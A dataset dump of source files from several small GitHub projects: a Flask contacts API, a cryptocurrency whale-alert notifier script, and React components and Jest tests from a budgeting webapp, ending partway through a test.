[ { "alpha_fraction": 0.6607944965362549, "alphanum_fraction": 0.66597580909729, "avg_line_length": 26.846153259277344, "blob_id": "9048827133a8ca75591295cd85dcaf2c74baf58f", "content_id": "006b12b863d52efbcf192f417ea3525fb3b290b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2895, "license_type": "no_license", "max_line_length": 98, "num_lines": 104, "path": "/app.py", "repo_name": "carlosmarin96/contacts-flask-api", "src_encoding": "UTF-8", "text": "from flask import Flask, request, jsonify\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask_marshmallow import Marshmallow\nfrom flask_cors import CORS\nimport os\n\napp = Flask(__name__)\nentorno = os.getenv('DATABASE_URL')\nent = entorno[:8] + 'ql' + entorno[8:] \napp.config['SQLALCHEMY_DATABASE_URI'] = ent\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS']=False\n\ndb = SQLAlchemy(app)\nma = Marshmallow(app)\n\nCORS(app)\n\nclass Contact(db.Model):\n id = db.Column(db.Integer, primary_key=True)\n name = db.Column(db.String(30), nullable=False)\n lastname = db.Column(db.String(30), nullable=False)\n company = db.Column(db.String(50))\n phone = db.Column(db.String(50), unique=True)\n email = db.Column(db.String(30), nullable=False, unique=True)\n\n def __int__(self, name, lastname, company, phone, email):\n self.name = name\n self.lastname = lastname\n self.company = company\n self.phone = phone\n self.email = email\n\n\nclass ContactsSchema(ma.Schema):\n class Meta:\n fields = ('id', 'name', 'lastname', 'company', 'phone', 'email')\n\ncontact_schema = ContactsSchema()\ncontacts_schema = ContactsSchema(many=True)\n\ndb.create_all()\ndb.session.commit()\n\[email protected]('/contacts', methods=['POST'])\ndef create_contact():\n name = request.json['name']\n lastname = request.json['lastname']\n company = request.json['company']\n phone = request.json['phone']\n email = request.json['email']\n\n new_contact = Contact(name=name, lastname=lastname, company=company, phone=phone, email=email)\n db.session.add(new_contact)\n db.session.commit()\n\n return contact_schema.jsonify(new_contact)\n\[email protected]('/contacts', methods=['GET'])\ndef get_contacts():\n all_contacts = Contact.query.all()\n result = contacts_schema.dump(all_contacts)\n return jsonify(result)\n\[email protected]('/contacts/<id>', methods=['GET'])\ndef get_contact(id):\n contact = Contact.query.get(id)\n return contact_schema.jsonify(contact)\n\[email protected]('/contacts/<id>', methods=['PUT'])\ndef update_contact(id):\n contact = Contact.query.get(id)\n\n name = request.json['name']\n lastname = request.json['lastname']\n company = request.json['company']\n phone = request.json['phone']\n email = request.json['email']\n\n if name == \"\" or lastname == \"\" or email == \"\":\n return {\"statuscode\":400}\n\n contact.name = name\n contact.lastname = lastname\n contact.company = company\n contact.phone = phone\n contact.email = email\n\n db.session.commit()\n return contact_schema.jsonify(contact)\n\[email protected]('/contacts/<id>', methods=['Delete'])\ndef delete_task(id):\n contact = Contact.query.get(id)\n db.session.delete(contact)\n db.session.commit()\n\n return contact_schema.jsonify(contact)\n\[email protected]('/', methods=['GET'])\ndef index():\n return jsonify({'message': 'Carlos API'})\n\nif __name__ == \"__main__\":\n app.run(debug=True)" }, { "alpha_fraction": 0.5069929957389832, "alphanum_fraction": 0.7062937021255493, "avg_line_length": 16.875, "blob_id": "fba732c5cd6b6c50ef5c2beec1b0ecff638dcecc", "content_id": "0dc4e6aadef2907ae189c6c385a09531c96ac8eb", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 286, "license_type": "no_license", "max_line_length": 25, "num_lines": 16, "path": "/requirements.txt", "repo_name": "carlosmarin96/contacts-flask-api", "src_encoding": "UTF-8", "text": "click==7.1.2\nFlask==1.1.2\nFlask-Cors==3.0.10\nflask-marshmallow==0.14.0\nFlask-SQLAlchemy==2.5.1\ngreenlet==1.1.0\ngunicorn==20.1.0\nitsdangerous==1.1.0\nJinja2==2.11.3\nMarkupSafe==1.1.1\nmarshmallow==3.11.1\npsycopg2-binary==2.8.6\nPyMySQL==1.0.2\nsix==1.16.0\nSQLAlchemy==1.4.14\nWerkzeug==1.0.1\n" } ]
2
joeystevens00/crypto_whale_notify.py
https://github.com/joeystevens00/crypto_whale_notify.py
c23489c72f21209694a29f6d6dfcfadf326038a1
d60fb2e3ef5c0ebaf9b25274eb4b023436aed314
cae9ff91d01fc2a346a9a6027415efcc16e7dc20
refs/heads/master
2020-05-16T22:27:52.534976
2019-04-25T01:59:32
2019-04-25T01:59:32
183,337,235
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6608031988143921, "alphanum_fraction": 0.6704281568527222, "avg_line_length": 31.053192138671875, "blob_id": "127884972132f1879385d3e08bbc63ca3c4e6cfa", "content_id": "3c9c29e3bb2bf71ecd1e5132f34cdfd285c664a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3013, "license_type": "no_license", "max_line_length": 98, "num_lines": 94, "path": "/crypto_whale_notify.py", "repo_name": "joeystevens00/crypto_whale_notify.py", "src_encoding": "UTF-8", "text": "import requests\nimport time\nimport redis\nimport json\nimport notify2\nimport os\ndirname = os.path.dirname(__file__)\n\ntry:\n config_file = open(os.path.join(dirname,'config.json'), 'r')\n config = json.load(config_file)\n config_file.close()\nexcept FileNotFoundError:\n config = {'api_key':os.getenv('WHALE_ALERT_API_KEY')}\n\n# initialise the d-bus connection\nnotify2.init(\"Whale Alert\")\nICON_PATH = os.path.join(dirname, 'whale.png')\n# create Notification object\nn = notify2.Notification(None, icon = ICON_PATH)\n# set urgency level\nn.set_urgency(notify2.URGENCY_NORMAL)\n\n# set timeout for a notification\nn.set_timeout(10000)\n\ndef popupAlert(s):\n # update notification data for Notification object\n n.update('Whale Alert', s)\n\n # show notification on screen\n n.show()\n\nif not config.get(\"redis\"):\n config[\"redis\"] = {}\nredis_db = config[\"redis\"].get(\"db\") or 0\nredis_host = config[\"redis\"].get(\"host\") or \"localhost\"\nredis_port = config[\"redis\"].get('port') or 6379\nr = redis.Redis(host=redis_host, port=redis_port, db=redis_db)\n\nAPI_KEY = config['api_key']\nENDPOINT = 'https://api.whale-alert.io/v1/'\n\n\n# attribution_string(transaction, direction)\n# extracts owner info from transaction and returns as string\ndef attribution_string(transaction, direction='from'):\n owner = transaction[direction]\n attr_str = \"\"\n if owner['owner_type'] == \"unknown\":\n attr_str += \"unknown wallet\"\n else:\n attr_str += owner['owner'] + \" (\" + owner['owner_type'] + \")\"\n return attr_str\n\ndef format_number(number, prefix='$'):\n return prefix+'{:,.2f}'.format(float(number))\n\n# notify(transaction)\n# notifies and prints to STDOUT the transaction\ndef notify(transaction):\n alert_msg_components = [\n format_number(transaction['amount'], prefix=''),\n transaction['symbol'].upper(),\n \"(\" + format_number(transaction['amount_usd']) + \")\",\n transaction['transaction_type'],\n \"from\",\n attribution_string(transaction),\n \"to\",\n attribution_string(transaction, direction='to')\n ]\n alert_msg = \" \".join(alert_msg_components)\n popupAlert(alert_msg)\n print (alert_msg)\n\ncurrent_time = int(time.time())\nseek_seconds = int(config.get('seek_seconds') or 1500)\nmin_value = int(config.get('min_dollars') or 500000)\nnotify_delay = int(config.get('notify_delay') or 15)\ntransaction_args = {'api_key': API_KEY, \"min_value\": min_value, \"start\":current_time-seek_seconds}\nres = requests.get(ENDPOINT + \"transactions\" , params=transaction_args)\nresponse = res.json()\n\n# If have transactions\nif response.get('count'):\n for transaction in response['transactions']:\n notification_key = 'whalealert:' + transaction['id']\n notification_history = r.get(notification_key)\n # If transaction is new\n if not notification_history:\n r.set(notification_key, json.dumps(transaction))\n notify(transaction)\n r.expire(notification_key, seek_seconds+1)\n time.sleep(notify_delay)\n" }, { "alpha_fraction": 0.4602479934692383, "alphanum_fraction": 0.4755652844905853, "avg_line_length": 58.565216064453125, "blob_id": "d710ab95f6263e7cc4be38ef1e644ab94d07928c", "content_id": "7ddd4ee9b9ad200e3dc55869e6c4ad3dc5bb45a7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1371, "license_type": "no_license", "max_line_length": 152, "num_lines": 23, "path": "/readme.md", "repo_name": "joeystevens00/crypto_whale_notify.py", "src_encoding": "UTF-8", "text": "# crypto_whale_notify.py \nnotify2 whale-alert.io alerts. Configure config.json or just set the environment variable WHALE_ALERT_API_KEY with your API KEY and use default values. \nUses redis to cache notification history and prevent duplicate alerts. \n\n## Install in cron \n```\n*/2 * * * * python3 /path/to/crypto_whale_notify.pl\n```\n\n## requirements\nredis, notify2\n\n## Config.json fields \n| Field | Description | Default |\n| -------------|:------------------------------------------------:| ---------------------------:|\n| api_key | whale-alert.io API KEY | WHALE_ALERT_API_KEY env var |\n| seek_seconds | search historical data up to seconds old | 1500 |\n| notify_delay | delay between notifications in seconds | 15 |\n| min_dollars | only return transactions exceeding dollar amount | 500000 |\n| redis | redis connection details (container object) | {} |\n| redis.host | redis host to connect to | localhost | \n| redis.port | redis port to connect to | 6379 |\n| redis.db | redis db to connect to | 0 | \n" } ]
2
vimofthevine/underbudget4
https://github.com/vimofthevine/underbudget4
6fa8477a1f7257634d96e7deabf827dc4f177c2b
20d992356952542fd79aab69849a04129fa22de2
8fd431dd9ccbb7e97ce2939d0bf8be77e5995a47
refs/heads/master
2023-01-28T00:18:16.616332
2022-01-16T16:47:00
2022-01-16T16:47:00
229,628,838
0
1
MIT
2019-12-22T20:46:50
2022-01-08T19:24:05
2023-01-07T13:05:39
JavaScript
[ { "alpha_fraction": 0.7716150283813477, "alphanum_fraction": 0.8189233541488647, "avg_line_length": 86.57142639160156, "blob_id": "70b269487e42759e82c3edd42a218bd53dcb8a2d", "content_id": "59efb46c40b2d5f055d4f35f921c494608c8eb93", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 613, "license_type": "permissive", "max_line_length": 262, "num_lines": 7, "path": "/README.md", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "# UnderBudget\n\n[![GitHub actions](https://github.com/vimofthevine/underbudget4/workflows/Continuous%20Integration/badge.svg)](https://github.com/vimofthevine/underbudget4/actions)\n[![codecov](https://codecov.io/gh/vimofthevine/underbudget4/branch/master/graph/badge.svg)](https://codecov.io/gh/vimofthevine/underbudget4)\n[![Codacy](https://api.codacy.com/project/badge/Grade/9c4bff4890cd4d4094f2e2c09d023558)](https://www.codacy.com/manual/vimofthevine/underbudget4?utm_source=github.com&amp;utm_medium=referral&amp;utm_content=vimofthevine/underbudget4&amp;utm_campaign=Badge_Grade)\n\nPersonal finance management\n" }, { "alpha_fraction": 0.7494331002235413, "alphanum_fraction": 0.7494331002235413, "avg_line_length": 30.5, "blob_id": "1f9b42cb5c53554d05bd816977fdaac032a62510", "content_id": "7d5aa4dcc638dc081590a4ec273dca3b48b1ea05", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 882, "license_type": "permissive", "max_line_length": 81, "num_lines": 28, "path": "/webapp/src/features/budgets/components/CreateAnnualExpenseDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import PropTypes from 'prop-types';\nimport React from 'react';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useCreateAnnualExpense from '../hooks/useCreateAnnualExpense';\nimport AnnualExpenseForm from './AnnualExpenseForm';\n\nconst CreateAnnualExpenseDialog = ({ budgetId, periods }) => {\n const { mutate } = useCreateAnnualExpense(budgetId);\n return (\n <FormDialog\n actionText='Create'\n FormComponent={AnnualExpenseForm}\n formProps={{ periods }}\n initialValues={AnnualExpenseForm.initialValues}\n onSubmit={mutate}\n title='Create Annual Expense'\n validationSchema={AnnualExpenseForm.validationSchema}\n />\n );\n};\n\nCreateAnnualExpenseDialog.propTypes = {\n budgetId: PropTypes.oneOfType([PropTypes.number, PropTypes.string]).isRequired,\n periods: PropTypes.number.isRequired,\n};\n\nexport default CreateAnnualExpenseDialog;\n" }, { "alpha_fraction": 0.5957221388816833, "alphanum_fraction": 0.601555585861206, "avg_line_length": 28.773683547973633, "blob_id": "7914dd18e27b012735c98024897757393add4c46", "content_id": "9fe85743440281af48cde4e183225b68341df352", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 5657, "license_type": "permissive", "max_line_length": 98, "num_lines": 190, "path": "/webapp/src/features/transactions/components/TransactionForm/TransactionForm.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import FormControl from '@material-ui/core/FormControl';\nimport Grid from '@material-ui/core/Grid';\nimport InputLabel from '@material-ui/core/InputLabel';\nimport MenuItem from '@material-ui/core/MenuItem';\nimport { makeStyles } from '@material-ui/core/styles';\nimport { Field } from 'formik';\nimport { Select, TextField } from 'formik-material-ui';\nimport { DatePicker, KeyboardDatePicker } from 'formik-material-ui-pickers';\nimport React from 'react';\nimport * as yup from 'yup';\n\nimport useMobile from 'common/hooks/useMobile';\nimport transactionTypes, { testIfType, typeLabels } from '../../utils/transaction-types';\nimport AccountSplit from './AccountSplit';\nimport EnvelopeSplit from './EnvelopeSplit';\nimport ErrorMessage from './ErrorMessage';\nimport SplitList from './SplitList';\nimport useAutoType from './useAutoType';\nimport usePayeePlaceholder from './usePayeePlaceholder';\nimport useRevalidate from './useRevalidate';\n\nconst blankAccount = { accountId: 0, amount: 0, cleared: false, memo: '' };\nconst blankEnvelope = { amount: 0, envelopeId: 0, memo: '' };\n\nconst useStyles = makeStyles((theme) => ({\n formControl: {\n marginBottomX: theme.spacing(1),\n marginTopX: theme.spacing(2),\n },\n}));\n\nconst TransactionForm = () => {\n useAutoType();\n useRevalidate();\n const classes = useStyles();\n const mobile = useMobile();\n\n return (\n <Grid container spacing={1}>\n <Grid item sm={4} xs={12}>\n <FormControl\n className={classes.formControl}\n fullWidth\n margin='dense'\n required\n variant='outlined'\n >\n <InputLabel id='transaction-type-label'>Type</InputLabel>\n <Field\n aria-label='transaction type'\n component={Select}\n id='transaction-type'\n label='Type'\n labelId='transaction-type-label'\n name='type'\n >\n {transactionTypes.map((trnType) => (\n <MenuItem key={trnType} value={trnType}>\n {typeLabels[trnType]}\n </MenuItem>\n ))}\n </Field>\n </FormControl>\n </Grid>\n <Grid item sm={4} xs={12}>\n <Field\n autoFocus\n component={TextField}\n fullWidth\n id='payee'\n label='Payee'\n margin='dense'\n name='payee'\n placeholder={usePayeePlaceholder()}\n required\n variant='outlined'\n />\n </Grid>\n <Grid item sm={4} xs={12}>\n <Field\n autoOk\n component={mobile ? DatePicker : KeyboardDatePicker}\n className={classes.formControl}\n disableToolbar\n format='yyyy-MM-DD'\n fullWidth\n id='recorded-date'\n inputVariant='outlined'\n label='Date'\n margin='dense'\n name='recordedDate'\n required\n variant={mobile ? 'dialog' : 'inline'}\n />\n </Grid>\n <SplitList\n addText='Add account'\n blank={blankAccount}\n name='accountTransactions'\n SplitComponent={AccountSplit}\n />\n <SplitList\n addText='Add envelope'\n blank={blankEnvelope}\n name='envelopeTransactions'\n SplitComponent={EnvelopeSplit}\n />\n <Grid item xs={12}>\n <ErrorMessage />\n </Grid>\n </Grid>\n );\n};\n\nTransactionForm.initialValues = {\n accountTransactions: [blankAccount],\n envelopeTransactions: [blankEnvelope],\n payee: '',\n recordedDate: new Date(),\n type: '',\n};\n\nTransactionForm.validationSchema = yup.object().shape({\n accountTransactions: yup\n .array()\n .of(\n yup.object().shape({\n accountId: yup.number().min(1, 'Required').required('Required'),\n amount: yup.number().typeError('Required'),\n cleared: yup.bool(),\n memo: yup.string(),\n }),\n )\n .when('type', (type, schema) => {\n if (testIfType.isTransfer(type)) {\n return schema.min(2);\n }\n if (testIfType.isAllocation(type)) {\n return schema.max(0);\n }\n return schema.min(1);\n }),\n envelopeTransactions: yup\n .array()\n .of(\n yup.object().shape({\n amount: yup.number().typeError('Required'),\n envelopeId: yup.number().min(1, 'Required').required('Required'),\n memo: yup.string(),\n }),\n )\n .when('type', (type, schema) => {\n if (testIfType.isAllocation(type)) {\n return schema.min(2);\n }\n if (testIfType.isTransfer(type)) {\n return schema.max(0);\n }\n return schema.min(1);\n }),\n payee: yup.string().required('Required'),\n recordedDate: yup.date().typeError('Required').required('Required'),\n type: yup.string().oneOf(transactionTypes).required('Required'),\n});\n\nTransactionForm.validate = ({ accountTransactions, envelopeTransactions }) => {\n const accountSum = accountTransactions\n ? accountTransactions.reduce((sum, acctTrn) => sum + acctTrn.amount, 0)\n : 0;\n const envelopeSum = envelopeTransactions\n ? envelopeTransactions.reduce((sum, envTrn) => sum + envTrn.amount, 0)\n : 0;\n const diff = accountSum - envelopeSum;\n if (diff !== 0) {\n if (accountTransactions.length === 0) {\n return { envelopeAmountToBalance: diff, sum: 'Sum of envelope splits does not equal zero' };\n }\n if (envelopeTransactions.length === 0) {\n return { accountAmountToBalance: -diff, sum: 'Sum of account splits does not equal zero' };\n }\n return {\n accountAmountToBalance: -diff,\n envelopeAmountToBalance: diff,\n sum: 'Sum of account splits does not equal sum of envelope splits',\n };\n }\n return {};\n};\n\nexport default TransactionForm;\n" }, { "alpha_fraction": 0.7367549538612366, "alphanum_fraction": 0.7367549538612366, "avg_line_length": 27.761905670166016, "blob_id": "563599d40fd5204635f1ca2b55eccf2176adf056", "content_id": "fbbddeaadbd95aac7723e293846ea4eacc457e2c", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 604, "license_type": "permissive", "max_line_length": 67, "num_lines": 21, "path": "/webapp/src/features/budgets/components/CreateActiveBudgetDialog.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import React from 'react';\n\nimport FormDialog from 'common/components/FormDialog';\nimport useCreateActiveBudget from '../hooks/useCreateActiveBudget';\nimport ActiveBudgetForm from './ActiveBudgetForm';\n\nconst CreateActiveBudgetDialog = () => {\n const { mutate } = useCreateActiveBudget();\n return (\n <FormDialog\n actionText='Set'\n FormComponent={ActiveBudgetForm}\n initialValues={ActiveBudgetForm.initialValues}\n onSubmit={mutate}\n title='Set Active Budget'\n validationSchema={ActiveBudgetForm.validationSchema}\n />\n );\n};\n\nexport default CreateActiveBudgetDialog;\n" }, { "alpha_fraction": 0.6158101558685303, "alphanum_fraction": 0.6472039222717285, "avg_line_length": 37.96883010864258, "blob_id": "e85697837d09c4d115ec98502648ffeffb1d4f2c", "content_id": "d72182f406ee7c75e33db94ced9ea4dc29f3d1b1", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "JavaScript", "length_bytes": 15003, "license_type": "permissive", "max_line_length": 100, "num_lines": 385, "path": "/webapp/src/features/transactions/components/__tests__/ModifyTransactionDialog.test.js", "repo_name": "vimofthevine/underbudget4", "src_encoding": "UTF-8", "text": "import { configure, fireEvent, screen, waitFor, within } from '@testing-library/react';\nimport userEvent from '@testing-library/user-event';\nimport React from 'react';\nimport { QueryClient, QueryClientProvider } from 'react-query';\nimport { Routes, Route } from 'react-router-dom';\n\nimport setSelectedLedger from 'common/utils/setSelectedLedger';\nimport renderWithRouter from 'test/renderWithRouter';\nimport setupMockApi from 'test/setupMockApi';\nimport ModifyTransactionDialog from '../ModifyTransactionDialog';\n\nconst render = (transaction, { getCode = 200, patchCode = 200 } = {}) => {\n configure({ defaultHidden: true });\n\n setSelectedLedger('2');\n\n const queryClient = new QueryClient({\n defaultOptions: {\n queries: {\n retry: false,\n staleTime: Infinity,\n },\n },\n });\n const invalidateQueries = jest.spyOn(queryClient, 'invalidateQueries');\n\n const mockApi = setupMockApi({ delayResponse: 0 });\n mockApi.onGet(`/api/transactions/${transaction.id}`).reply(getCode, transaction);\n mockApi.onPatch(`/api/transactions/${transaction.id}`).reply(patchCode);\n\n return {\n ...renderWithRouter(\n <QueryClientProvider client={queryClient}>\n <Routes>\n <Route path='/transactions/:transactionId/modify' element={<ModifyTransactionDialog />} />\n </Routes>\n </QueryClientProvider>,\n { route: `/transactions/${transaction.id}/modify` },\n ),\n invalidateQueries,\n mockApi,\n queryClient,\n };\n};\n\ntest('should close dialog when unable to fetch transaction', async () => {\n const { history } = render({ id: 8 }, { getCode: 404 });\n await waitFor(() =>\n expect(screen.getByRole('heading', { name: /modify transaction/i })).toBeInTheDocument(),\n );\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify transaction/i })).not.toBeInTheDocument(),\n );\n await waitFor(() => expect(history.location.pathname).toBe('/transactions/8'));\n});\n\ntest('should show error message when request error', async () => {\n render(\n {\n id: 8,\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'expense',\n accountTransactions: [{ id: 18, accountId: 2, memo: '', amount: -1234, cleared: false }],\n envelopeTransactions: [{ id: 28, envelopeId: 3, memo: '', amount: -1234 }],\n },\n { patchCode: 400 },\n );\n\n await waitFor(() =>\n expect(screen.getByRole('textbox', { name: /payee/i })).toHaveDisplayValue('Vendor'),\n );\n userEvent.type(screen.getByRole('textbox', { name: /payee/i }), ' ');\n userEvent.tab();\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.getByText(/unable to modify transaction/i)).toBeInTheDocument(),\n );\n});\n\ntest('should allow modification of type', async () => {\n const { mockApi } = render({\n id: 8,\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'income',\n accountTransactions: [{ id: 18, accountId: 2, memo: '', amount: 234, cleared: true }],\n envelopeTransactions: [{ id: 28, envelopeId: 3, memo: '', amount: 234 }],\n });\n\n await waitFor(() => expect(screen.getByText('Income')).toBeInTheDocument());\n\n userEvent.click(screen.getByRole('button', { name: /type/i }));\n const types = within(screen.getByRole('listbox'));\n userEvent.click(types.getByRole('option', { name: /refund/i }));\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify transaction/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.patch[0].data)).toEqual({\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'refund',\n accountTransactions: {\n add: [],\n modify: [{ id: 18, accountId: 2, memo: '', amount: 234, cleared: true }],\n delete: [],\n },\n envelopeTransactions: {\n add: [],\n modify: [{ id: 28, envelopeId: 3, memo: '', amount: 234 }],\n delete: [],\n },\n });\n});\n\ntest('should allow modification of splits', async () => {\n const { invalidateQueries, mockApi } = render({\n id: 8,\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'expense',\n accountTransactions: [{ id: 18, accountId: 2, memo: '', amount: -1234, cleared: false }],\n envelopeTransactions: [{ id: 28, envelopeId: 3, memo: '', amount: -1234 }],\n });\n\n await waitFor(() => expect(screen.getByText('Expense')).toBeInTheDocument());\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n fireEvent.change(amounts[0], { target: { value: '-$1,234.56' } });\n\n userEvent.click(screen.getByRole('checkbox'));\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify transaction/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.patch[0].data)).toEqual({\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'expense',\n accountTransactions: {\n add: [],\n modify: [{ id: 18, accountId: 2, memo: '', amount: -123456, cleared: true }],\n delete: [],\n },\n envelopeTransactions: {\n add: [],\n modify: [{ id: 28, envelopeId: 3, memo: '', amount: -123456 }],\n delete: [],\n },\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(5);\n expect(invalidateQueries).toHaveBeenCalledWith(['transaction', '8']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '3']);\n}, 15000);\n\ntest('should allow addition of new account splits', async () => {\n const { invalidateQueries, mockApi } = render({\n id: 8,\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'refund',\n accountTransactions: [{ id: 18, accountId: 2, memo: '', amount: 10000, cleared: false }],\n envelopeTransactions: [{ id: 28, envelopeId: 3, memo: '', amount: 10000 }],\n });\n\n await waitFor(() => expect(screen.getByText('Refund')).toBeInTheDocument());\n\n userEvent.click(screen.getByRole('button', { name: /add account/i }));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n fireEvent.change(amounts[0], { target: { value: '$75.00' } });\n fireEvent.change(amounts[1], { target: { value: '$25.00' } });\n userEvent.type(screen.getAllByRole('textbox', { name: /account/i })[1], 'Category 3:Account 3');\n userEvent.tab();\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify transaction/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.patch[0].data)).toEqual({\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'refund',\n accountTransactions: {\n add: [{ accountId: 3, memo: '', amount: 2500, cleared: false }],\n modify: [{ id: 18, accountId: 2, memo: '', amount: 7500, cleared: false }],\n delete: [],\n },\n envelopeTransactions: {\n add: [],\n modify: [{ id: 28, envelopeId: 3, memo: '', amount: 10000 }],\n delete: [],\n },\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(7);\n expect(invalidateQueries).toHaveBeenCalledWith(['transaction', '8']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '3']);\n}, 15000);\n\ntest('should allow consolidation of account splits', async () => {\n const { invalidateQueries, mockApi } = render({\n id: 8,\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'refund',\n accountTransactions: [\n { id: 18, accountId: 2, memo: '', amount: 7500, cleared: false },\n { id: 38, accountId: 3, memo: '', amount: 2500, cleared: false },\n ],\n envelopeTransactions: [{ id: 28, envelopeId: 3, memo: '', amount: 10000 }],\n });\n\n await waitFor(() =>\n expect(screen.queryAllByRole('textbox', { name: /account/i })).toHaveLength(2),\n );\n\n fireEvent.change(screen.getAllByRole('textbox', { name: /amount/i })[1], {\n target: { value: '$100.00' },\n });\n\n userEvent.click(screen.getAllByRole('button', { name: /delete account split/i })[0]);\n await waitFor(() =>\n expect(screen.queryAllByRole('textbox', { name: /account/i })).toHaveLength(1),\n );\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() => expect(mockApi.history.patch).toHaveLength(1));\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify transaction/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.patch[0].data)).toEqual({\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'refund',\n accountTransactions: {\n add: [],\n modify: [{ id: 38, accountId: 3, memo: '', amount: 10000, cleared: false }],\n delete: [18],\n },\n envelopeTransactions: {\n add: [],\n modify: [{ id: 28, envelopeId: 3, memo: '', amount: 10000 }],\n delete: [],\n },\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(7);\n expect(invalidateQueries).toHaveBeenCalledWith(['transaction', '8']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '2']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['account-transactions', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-balance', '3']);\n expect(invalidateQueries).toHaveBeenCalledWith(['envelope-transactions', '3']);\n}, 15000);\n\ntest('should allow addition of new envelope splits', async () => {\n const { invalidateQueries, mockApi } = render({\n id: 8,\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'income',\n accountTransactions: [{ id: 18, accountId: 2, memo: '', amount: 10000, cleared: false }],\n envelopeTransactions: [{ id: 28, envelopeId: 3, memo: '', amount: 10000 }],\n });\n\n await waitFor(() => expect(screen.getByText('Income')).toBeInTheDocument());\n\n userEvent.click(screen.getByRole('button', { name: /add envelope/i }));\n\n const amounts = screen.getAllByRole('textbox', { name: /amount/i });\n fireEvent.change(amounts[1], { target: { value: '$75.00' } });\n fireEvent.change(amounts[2], { target: { value: '$25.00' } });\n userEvent.type(screen.getAllByRole('textbox', { name: /envelope/i })[1], 'Category 1:Envelope 1');\n userEvent.tab();\n\n await waitFor(() => expect(screen.getByRole('button', { name: /save/i })).toBeEnabled());\n userEvent.click(screen.getByRole('button', { name: /save/i }));\n\n await waitFor(() =>\n expect(screen.queryByRole('heading', { name: /modify transaction/i })).not.toBeInTheDocument(),\n );\n expect(JSON.parse(mockApi.history.patch[0].data)).toEqual({\n payee: 'Vendor',\n recordedDate: '2021-07-04',\n type: 'income',\n accountTransactions: {\n add: [],\n modify: [{ id: 18, accountId: 2, memo: '', amount: 10000, cleared: false }],\n delete: [],\n },\n envelopeTransactions: {\n add: [{ envelopeId: 1, memo: '', amount: 2500 }],\n modify: [{ id: 28, envelopeId: 3, memo: '', amount: 7500 }],\n delete: [],\n },\n });\n expect(invalidateQueries).toHaveBeenCalledTimes(7);\n 